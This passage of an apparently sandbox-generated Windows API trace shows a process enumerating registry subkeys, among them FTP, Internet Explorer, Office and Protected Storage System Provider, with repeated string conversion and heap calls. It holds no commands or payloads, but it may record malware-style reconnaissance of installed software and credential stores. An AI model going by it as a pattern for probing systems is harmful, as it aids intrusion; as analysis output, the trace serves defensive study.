Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.665] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xc, lpName=0xc19d18, cchName=0x104 | out: lpName="FTP") returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.666] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xd, lpName=0xc19d18, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.666] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xe, lpName=0xc19d18, cchName=0x104 | out: lpName="IAM") returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.666] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xf, lpName=0xc19d18, cchName=0x104 | out: lpName="IME") returned 0x0 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0025.666] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.666] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.667] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x10, lpName=0xc19d18, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xddc240, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.667] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x11, lpName=0xc19d18, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.667] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x12, lpName=0xc19d18, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0xddc240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.667] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.667] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x13, lpName=0xc19d18, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.667] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.668] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x14, lpName=0xc19d18, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0xddc240, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.668] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x15, lpName=0xc19d18, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.668] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x16, lpName=0xc19d18, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0025.668] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.668] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.668] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x17, lpName=0xc19d18, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.669] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x18, lpName=0xc19d18, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0xddc240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.669] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x19, lpName=0xc19d18, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.669] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1a, lpName=0xc19d18, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0xddc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0025.669] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.669] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.670] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1b, lpName=0xc19d18, cchName=0x104 | out: lpName="MSF") returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.670] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1c, lpName=0xc19d18, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.670] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1d, lpName=0xc19d18, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.670] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.670] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1e, lpName=0xc19d18, cchName=0x104 | out: lpName="Office") returned 0x0 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.670] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xddc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.671] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1f, lpName=0xc19d18, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.671] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.671] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x20, lpName=0xc19d18, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0025.671] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0xddc240, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0025.671] RtlAllocateHeap 